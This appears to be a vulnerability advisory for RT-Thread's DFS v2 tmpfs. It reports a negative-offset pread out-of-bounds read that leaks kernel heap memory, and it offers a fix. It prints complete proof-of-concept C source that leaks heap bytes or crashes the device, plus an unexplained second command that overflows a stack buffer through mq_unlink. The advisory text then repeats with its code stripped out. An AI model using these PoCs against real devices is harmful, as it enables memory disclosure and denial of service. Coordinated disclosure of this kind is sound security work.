Summary
rw_verify_area() rejects a negative file position only partially:
/* components/dfs/dfs_v2/src/dfs_file.c:246-250 */
pos = *ppos;
if (pos < 0)
{
if (count >= -pos) /* rejected ONLY when count >= -pos */
return -EOVERFLOW;
}
/* pos < 0 with count < -pos FALLS THROUGH */
dfs_file_pread() (dfs_file.c:1037-1054) then passes the negative off_t
straight into the filesystem's read op. For tmpfs, dfs_tmpfs_read()
computes the length with signed arithmetic and copies from a negative index
without any unsigned guard:
/* components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c:298-305 */
ssize_t size = (ssize_t)file->vnode->size;
if ((ssize_t)count < size - *pos)
length = count;
else
length = size - *pos; /* pos<0 inflates length */
if (length > 0)
memcpy(buf, &(d_file->data[*pos]), length); /* reads BEFORE the buffer */
So pread(fd, buf, n, -M) with n < M returns n bytes read from M
bytes before the tmpfs heap allocation — a kernel heap information
disclosure; a large M dereferences unmapped memory and data-aborts.
(For contrast, the elmfat read path is safe: dfs_elm.c:578 compares
against the unsigned vnode->size, which rejects negative positions.
tmpfs lacks the equivalent guard.)
Affected
- Components: DFS core
dfs_file.c + tmpfs dfs_tmpfs.c
- Revision: master
6ea6827
- Configuration:
RT_USING_DFS_V2 + RT_USING_DFS_TMPFS, tmpfs mounted;
pread reachable by any application (exported POSIX API).
Reproduction (QEMU, bsp/qemu-vexpress-a9)
PoC application on a tmpfs file that contains exactly "AAAABBBBCCCCDDDD":
long n = pread(fd, buf, 32, -64); /* returns 32 */
Observed (console output followed by the rendered screenshot):
msh />poc_pread -64
[poc] pread(fd, buf, 32, -64) on tmpfs file ...
[poc] pread returned 32 bytes:
20 85 0b 60 40 74 0b 60 01 00 00 00 20 20 20 20
b1 72 0b 60 10 01 00 00 c0 00 00 00 74 73 68 65


None of these bytes belong to the file. They are kernel heap contents read
from in front of the allocation: kernel pointers (0x600b8520,
0x600b7440), allocator chunk sizes (0x110, 0xc0), and remnants of
other heap strings ("tshe").
With a wild offset (console output followed by the rendered screenshot):
msh />poc_pread -10000000
[poc] pread(fd, buf, 32, -10000000) on tmpfs file ...
backtrace: ... data abort:Execption: ...
Expected result
Negative offsets are rejected unconditionally: pread() returns -EINVAL
and no memory outside the file is read.
Impact
- Attacker model: application code calling
pread() with a hostile offset
(e.g. offset derived from untrusted input). Under RT_USING_SMART, an
unprivileged user application reads kernel heap memory; on flat builds
the leak crosses into the shared heap and the wild-pointer variant
crashes the device.
- Severity: medium-high (info leak of kernel heap layout/contents; DoS).
Suggested fix
- Make
rw_verify_area() reject every negative position unconditionally:
if (pos < 0)
return -EINVAL; /* instead of the conditional count >= -pos rule */
- Defense-in-depth in tmpfs: compare positions against the unsigned file
size as elmfat does (dfs_elm.c:578), e.g.
if ((size_t)*pos >= file->vnode->size) return 0;
Complete PoC source
The full PoC application (bsp/applications/poc.c, English only, uses only
public exported APIs — dfs_mount, mq_unlink, open/write/pread) and the
msh script poc.sh are reproduced here; they are also archived at
REYu6/rt-thread-poc-evidence
together with the rendered console screenshots.
poc.sh (executed on the target as /poc.sh)
mkdir /tmp
poc_mount
mkdir /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bsp/applications/poc.c
#include <rtthread.h>
/* PoC application: simulates a user application / msh script caller.
* Targets: RT-Thread master 6ea6827, qemu-vexpress-a9 default config. */
extern int dfs_mount(const char *device, const char *path, const char *fs, unsigned long rwflag, void *data);
extern int open(const char *, int, ...);
extern long write(int, const void *, unsigned long);
extern long pread(int, void *, unsigned long, long);
extern int close(int);
extern int mq_unlink(const char *);
static void poc_mount(int argc, char **argv)
{
int r = dfs_mount(RT_NULL, "/tmp", "tmp", 0, RT_NULL);
rt_kprintf("[poc] mount tmpfs on /tmp -> %d (0=ok)\n", r);
}
MSH_CMD_EXPORT(poc_mount, mount tmpfs at /tmp);
static void poc_mq(int argc, char **argv)
{
char name[512];
int i;
for (i = 0; i < 200; i++) name[i] = 'M';
name[200] = '\0';
rt_kprintf("[poc] mq_unlink with 200-char name (buffer is %d bytes)...\n", 16 + 12);
mq_unlink(name);
rt_kprintf("[poc] mq_unlink RETURNED (no crash)\n");
}
MSH_CMD_EXPORT(poc_mq, trigger mq_unlink long-name stack overflow);
static void poc_pread(int argc, char **argv)
{
long off = -64;
int fd;
char buf[40];
long n;
int i;
if (argc > 1) off = atol(argv[1]);
fd = open("/tmp/leak.txt", 2 /*O_RDWR*/ | 0x200 /*O_CREAT*/, 0777);
if (fd < 0) { rt_kprintf("[poc] open failed fd=%d errno=%d\n", fd, (int)rt_get_errno()); return; }
write(fd, "AAAABBBBCCCCDDDD", 16);
rt_memset(buf, 0, sizeof(buf));
rt_kprintf("[poc] pread(fd, buf, 32, %ld) on tmpfs file ...\n", off);
n = pread(fd, buf, 32, off);
rt_kprintf("[poc] pread returned %d bytes:", (int)n);
for (i = 0; i < 32; i++) rt_kprintf(" %02x", (unsigned char)buf[i]);
rt_kprintf("\n[poc] done\n");
close(fd);
}
MSH_CMD_EXPORT(poc_pread, pread negative-offset OOB read demo: poc_pread [offset]);
Build (bsp/qemu-vexpress-a9, unmodified default configuration):
cd bsp/qemu-vexpress-a9
RTT_ROOT=/path/to/rt-thread scons -j8
qemu-system-arm -M vexpress-a9 -kernel rtthread.elf -sd sd.bin -nographic
Summary
rw_verify_area()rejects a negative file position only partially:dfs_file_pread()(dfs_file.c:1037-1054) then passes the negativeoff_tstraight into the filesystem's read op. For tmpfs,
dfs_tmpfs_read()computes the length with signed arithmetic and copies from a negative index
without any unsigned guard:
So
pread(fd, buf, n, -M)withn < Mreturnsnbytes read fromMbytes before the tmpfs heap allocation — a kernel heap information
disclosure; a large
Mdereferences unmapped memory and data-aborts.(For contrast, the elmfat read path is safe:
dfs_elm.c:578comparesagainst the unsigned
vnode->size, which rejects negative positions.tmpfs lacks the equivalent guard.)
Affected
dfs_file.c+ tmpfsdfs_tmpfs.c6ea6827RT_USING_DFS_V2+RT_USING_DFS_TMPFS, tmpfs mounted;preadreachable by any application (exported POSIX API).Reproduction (QEMU, bsp/qemu-vexpress-a9)
PoC application on a tmpfs file that contains exactly
"AAAABBBBCCCCDDDD":Observed (console output followed by the rendered screenshot):
None of these bytes belong to the file. They are kernel heap contents read
from in front of the allocation: kernel pointers (
0x600b8520,0x600b7440), allocator chunk sizes (0x110,0xc0), and remnants ofother heap strings (
"tshe").With a wild offset (console output followed by the rendered screenshot):
Expected result
Negative offsets are rejected unconditionally:
pread()returns-EINVALand no memory outside the file is read.
Impact
pread()with a hostile offset(e.g. offset derived from untrusted input). Under
RT_USING_SMART, anunprivileged user application reads kernel heap memory; on flat builds
the leak crosses into the shared heap and the wild-pointer variant
crashes the device.
Suggested fix
rw_verify_area()reject every negative position unconditionally:size as elmfat does (
dfs_elm.c:578), e.g.if ((size_t)*pos >= file->vnode->size) return 0;Complete PoC source
The full PoC application (
bsp/applications/poc.c, English only, uses onlypublic exported APIs —
dfs_mount,mq_unlink,open/write/pread) and themsh script
poc.share reproduced here; they are also archived atREYu6/rt-thread-poc-evidence
together with the rendered console screenshots.
poc.sh (executed on the target as
/poc.sh)bsp/applications/poc.c
Build (
bsp/qemu-vexpress-a9, unmodified default configuration):